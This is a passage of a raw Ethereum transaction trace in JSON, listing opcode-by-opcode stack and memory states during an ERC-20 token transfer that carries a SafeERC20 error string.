00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6601,"op":"MLOAD","gas":22234,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1e4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6602,"op":"DUP1","gas":22231,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1e4","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6603,"op":"SWAP2","gas":22228,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1e4","0x1a4","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6604,"op":"SUB","gas":22225,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1a4","0x1a4","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6605,"op":"SWAP1","gas":22222,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x1a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6606,"op":"LOG1","gas":22219,"gasCost":1262,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6607,"op":"POP","gas":20957,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6608,"op":"POP","gas":20955,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6609,"op":"POP","gas":20953,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":6610,"op":"JUMP","gas":20951,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3231,"op":"JUMPDEST","gas":20943,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3232,"op":"PUSH1","gas":20942,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3234,"op":"DUP1","gas":20939,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3235,"op":"MLOAD","gas":20936,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3236,"op":"DUP4","gas":20933,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3237,"op":"DUP2","gas":20930,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3238,"op":"MSTORE","gas":20927,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x0","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a32000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3239,"op":"PUSH1","gas":20924,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3241,"op":"DUP2","gas":20921,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3242,"op":"ADD","gas":20918,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x20","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3243,"op":"DUP4","gas":20915,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3244,"op":"SWAP1","gas":20912,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x1c4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3245,"op":"MSTORE","gas":20909,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4","0x4563918244f40000","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","a